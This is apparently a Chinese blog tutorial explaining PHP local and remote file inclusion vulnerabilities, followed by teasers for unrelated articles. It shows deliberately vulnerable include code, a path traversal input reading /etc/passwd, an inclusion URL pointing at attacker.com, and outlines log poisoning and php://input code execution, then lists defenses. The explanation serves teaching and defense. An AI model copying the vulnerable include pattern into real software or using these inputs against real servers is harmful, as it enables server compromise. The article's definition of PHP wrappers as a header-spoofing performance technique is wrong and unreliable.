news 2026/3/30 3:09:22

探秘文件包含漏洞:从本地挖掘到远程威胁,PHP伪协议成“帮凶”

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
探秘文件包含漏洞:从本地挖掘到远程威胁,PHP伪协议成“帮凶”

引入

文件包含是编程中常用的一种技术,它允许一个程序包含并执行另一个文件的内容,本意是为了提高代码的复用性和可维护性。然而,当这种包含机制没有得到正确的安全控制时,就可能引发文件包含漏洞。攻击者可以利用这个漏洞,让程序包含并执行恶意文件,从而获取服务器的敏感信息、篡改网站内容甚至控制整个服务器。

文件包含的概念

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含

文件包含含有包含内容包含函数

文件包含的本质:

文件包含机制(如PHP的include、require)默认区分本地路径和远程URL。
如果包含的路径是虚拟机的IP地址或域名(如http://192.168.1.100/malicious.php),物理机会将其视为远程资源,触发RFI行为。

文件包含的两种类型

1)本地文件包含(LFI, Local File Inclusion)
作用:加载服务器本地的文件(如配置文件、日志文件、源代码等)。

本地文件包含(LFI):指的是在服务器端脚本运行时,所包含的文件是位于同一服务器系统内的文件,这里的“同一服务器系统”可以是物理机也可以是虚拟机。只要文件和执行包含操作的脚本处于同一个操作系统实例的文件系统中,就属于本地文件包含。比如在物理机上运行的PHP脚本包含了该物理机硬盘上某个目录下的文件;或者在虚拟机中运行的程序包含了该虚拟机文件系统内的文件。

<?php $file = $_GET['page']; // 用户可控的输入 include($file . '.php'); // 拼接路径并包含 ?>

若用户输入page=../../../../etc/passwd,可能读取系统密码文件。

把物理机当作成服务器,现在包含的文件在物理机上是本地的,如果这个文件的地址不在物理机上,在虚拟机上这个文件是远程文件包含

风险:

泄露敏感信息(如数据库密码、服务器配置)。
结合其他漏洞(如路径遍历)实现越权访问。

2.)远程文件包含(RFI, Remote File Inclusion)
作用:加载远程服务器上的文件(需目标服务器开启allow_url_include=On)。

远程文件包含(RFI):当服务器端脚本允许通过网络协议(如HTTP、FTP等)去包含位于其他服务器(不同的操作系统实例)上的文件时,就构成了远程文件包含。关键在于文件所处的位置是在通过网络才能访问到的另一个独立的服务器上,而不是当前执行脚本所在的服务器系统。

<?php $url = $_GET['url']; include($url); // 直接包含远程URL ?>

若用户输入url=http://attacker.com/malicious.txt,可能执行攻击者控制的代码。

风险:

直接执行远程恶意代码(如Webshell)。
完全控制服务器(如反弹Shell、植入后门)。

特殊情况:

如果物理机和虚拟机之间通过共享文件夹等方式进行文件共享,使得虚拟机上的文件在物理机的文件系统中可以直接访问(就像访问本地硬盘上的文件一样),那么物理机包含该文件时仍然属于本地文件包含。比如在VMware虚拟机中设置了共享文件夹,物理机可以像访问本地磁盘一样访问虚拟机共享出来的文件,此时物理机上的脚本包含该共享文件就不是远程文件包含。

文件包含漏洞产生的原因

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的 方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理 的校验或者校验被绕过就造成了文件包含漏洞。

文件包含漏洞分类

1)本地文件包含漏洞(LIF):当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

2)远程文件包含漏洞(RLF):本地文件包含和远程文件包含造成漏洞的原因是一 样的,当php.ini 中的配置选项allow_url_fopen和allow_url_include(默认是 关闭的)为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形 成了远程文件包含漏洞。

包含文件的函数

1、include:

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包
含进来发生错误时之给出一个警告,继续向下执行。
演示:
当我们引入不存在的包含文件,
结果显示代码第三行(也就是include那行)报错并继续向下执行

2、include_once:

功能与Include()相同,区别在于当重复调用同一文件时,程序只
调用一次

3、require:

require()与include()的区别在于require( )执行如果发生错误,函数会
输出错误信
当我们使用require()包含文件时
结果显示第四行代码报错(也就是require那行)并且不往下运行

4、require_once:

功能与require()相同,区别在于当重复调用同一文件时,程序只
调用一次

文件包含漏洞挖掘

其实在文件包含在URL中能够明显的看出来,但是不代表含有这些特征就一 定有文件包含漏洞。只不过有这些特征可以进行判断是存在文件包含的,但是能不能利用是另一方面。
http://www.xxx.com/index.php/?name=x.php
http://www.xxx.com/index.php/?file=index2
在计算机文件路径中,/../ 和 \..\ 都用于表示向上回溯到父目录,但它们的适用场景和底层逻辑存在差异,尤其在跨平台兼容性和安全风险方面需要特别注意。
\..\上一层目录(文件资源管理器上的)
/../完全兼容(HTTP/FTP等协议)

本地文件包含漏洞利用技巧

1)上传利用文件

攻击者可以上传一个包含恶意代码的文件到服务器,然后利用本地文件包含漏洞来执行该文件。例如,攻击者上传一个包含 PHP 代码的文件,通过构造包含该文件的路径,使服务器执行其中的恶意代码,如获取服务器敏感信息或执行系统命令等。

2)日志文件注入

许多 Web 服务器会记录用户的访问信息到日志文件中。攻击者可以通过构造特殊的请求,将恶意代码注入到日志文件里,再利用本地文件包含漏洞包含该日志文件,从而执行注入的恶意代码。

PHP伪协议

PHP伪协议(PHP Protocol Override)是一种在PHP处理数据时,通过替换数据 报的头部信息来欺骗网络协议的方式来提高性能的技术。

1)PHP 支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
phar:// — PHP 归档
rar:// — RAR
ogg:// — 音频流
ssh2:// — Secure Shell 2
php://filter是一种元封装器,这个伪协议提供了对数据流进行过滤的能力,
可以对输入数据进行编码、解码、加密、解密等各种操作
php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行php代码

2)PHP伪协议的使用条件
在PHP配置中,有两个参数与伪协议的使用密切相关:

allow_url_fopen:默认值为On,允许URL里的封装协议访问文件。
allow_url_include:默认值为Off,不允许包含URL里的封装协议包含文件

3)PHP伪协议的使用方式
读取文件内容:

使用file://协议读取本地文件内容。
使用php://filter协议读取文件内容,并进行编码或过滤处理。

执行PHP代码:

使用php://input协议读取POST请求的原始数据,并执行其中的PHP代码。
使用data://协议直接在URL中嵌入PHP代码并执行。

访问压缩文件内容:

使用zip://、phar://等协议访问压缩文件中的子文件内容。

防范措施

1) 输入验证

对用户输入的文件路径进行严格的验证和过滤,只允许包含白名单内的文件,避免用户输入包含PHP伪协议的恶意路径。

2)禁用不必要的协议

在PHP配置文件中禁用不必要的伪协议,减少攻击面。例如,在 php.ini 中设置 allow_url_include = Off ,禁止远程文件包含和部分伪协议的使用。

3)错误处理

合理处理错误信息,避免泄露敏感信息。当出现文件包含错误时,不要直接向用户显示详细的错误信息,防止攻击者利用错误信息进行进一步的攻击。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/15 16:44:28

Redis 设计思想总结

设计背景 高性能缓存需求: 在2009年前后&#xff0c;Web应用规模迅速扩大&#xff0c;大量读请求对数据库造成巨大压力。开发者需要一种快速、轻量级的内存数据存储系统来缓存热点数据&#xff0c;减轻后端数据库负载。简单性与灵活性: 当时已有的缓存系统&#xff08;如 Memca…

作者头像 李华
网站建设 2026/3/27 9:52:00

AI提示系统的商业模式的用户分层:提示工程架构师的3个方法

AI提示系统商业模式拆解:提示工程架构师的用户分层3步法 副标题:从需求到变现,用分层策略优化提示服务的商业价值 摘要/引言 当我们谈论AI提示系统的商业潜力时,最常遇到的问题不是“技术能不能实现”,而是“如何把技术价值转化为商业价值”。 问题陈述: 通用型提示服…

作者头像 李华
网站建设 2026/3/28 10:31:01

操作系统核心考点与解题模板全解析

操作系统核心考点解析&#xff1a;模块一进程管理、同步互斥与死锁本模块涵盖操作系统中最核心的逻辑部分&#xff0c;侧重于理解进程行为及处理并发冲突。1. 进程状态转换 (State Transitions)理解进程状态的“变迁逻辑”是解题的关键。转换路径触发原因注意点就绪 → 运行进程…

作者头像 李华
网站建设 2026/3/15 22:55:14

2025 四款 AI 平台推荐,谁最高效

2025年&#xff0c;AI应用落地需求持续爆发。开源平台以其灵活性、可控性和低成本&#xff0c;成为众多开发者与企业的首选。面对琳琅满目的工具&#xff0c;如何根据自身需求做出高效选择&#xff1f;本文将从功能完整性、易用性、扩展性、社区生态、商用支持五个核心维度&…

作者头像 李华
网站建设 2026/3/25 1:26:20

基于SpringBoot+Vue的泰山文化推广平台毕业设计源码

博主介绍&#xff1a;✌ 专注于Java,python,✌关注✌私信我✌具体的问题&#xff0c;我会尽力帮助你。一、研究目的本研究旨在构建一个基于SpringBootVue的泰山文化推广平台&#xff0c;以实现泰山文化的数字化传播与推广。具体研究目的如下&#xff1a;提高泰山文化知名度&…

作者头像 李华